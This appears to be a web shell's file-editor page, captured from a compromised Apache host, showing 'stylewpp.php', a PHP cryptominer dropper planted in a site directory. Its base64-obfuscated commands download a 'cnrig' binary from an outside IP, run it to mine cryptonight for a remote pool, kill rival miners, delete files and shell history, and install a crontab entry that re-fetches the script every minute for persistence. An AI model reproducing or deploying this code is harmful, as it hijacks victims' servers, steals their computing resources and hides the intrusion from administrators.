One Hat Cyber Team

Your IP: 216.73.216.75
Server IP: 213.186.33.17
Server: Linux webm007.cluster106.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
Server Software: Apache
PHP Version: 7.4.33
Create File | Create Folder

Dir : ~/home/tcherkas/balalaika.pro/Balalaika.pro.2_2/

Edit File: stylewpp.php

<?php 
ignore_user_abort();

$_SERVER["REQUEST_URI"] = str_replace("?reboot=yes", "", $_SERVER["REQUEST_URI"]);
system('echo "* * * * * wget http://'.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"].'" | crontab');

if ($_GET["reboot"] == "yes") 
{
	system(base64_decode("cHMgLWVmIHwgZ3JlcCBjbnJpZyB8IGdyZXAgLXYgZ3JlcCB8IGF3ayAne3ByaW50ICQyfScgfCB4YXJncyBraWxsIC05"));
if (file_exists("zz1.php")) unlink("zz1.php");
if (file_exists("wwp.php")) unlink("wwp.php");
	}

$id = system (base64_decode("cGlkb2YgY25yaWc="));
	if (strlen($id)>7) system ("kill $id");

if (file_exists(base64_decode("LmNucmlnLmNhY2VydC5wZW0==="))) unlink(base64_decode("LmNucmlnLmNhY2VydC5wZW0==="));	
if (file_exists(base64_decode("LnpzaF9faGlzdG9yeQ=="))) rrmdir(base64_decode("LnpzaF9faGlzdG9yeQ=="));	
	if (file_exists("cnrig"))
	{
if (filesize("cnrig")>1000) echo "good...<br>";
else
{
	system(base64_decode("d2dldCAtTyBjbnJpZyBodHRwOi8vNS40NS43OS4xNS96eC9jbnJpZw=="));
}
	}
	else system(base64_decode("d2dldCAtTyBjbnJpZyBodHRwOi8vNS40NS43OS4xNS96eC9jbnJpZw=="));
system("chmod +x cnrig");
	if (file_exists("cnrig"))
	{

$id = system(base64_decode("cHMgYXV4IHwgZ3JlcCBjbnJpZyB8IGdyZXAgLXYgZ3JlcA=="));
	if ($id == "") system(base64_decode("Li9jbnJpZyAtYSBjcnlwdG9uaWdodCAtbyA1LjYxLjQ2LjE0Njo4MCAtcCB4IC11IHh4eCs1MDAwIC0tZG9uYXRlLWxldmVsPTEgLWs=")
);
	}

sleep(55);
$_SERVER["REQUEST_URI"] = str_replace("?reboot=yes", "", $_SERVER["REQUEST_URI"]);
system('echo "* * * * * wget http://'.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"].'" | crontab');
?>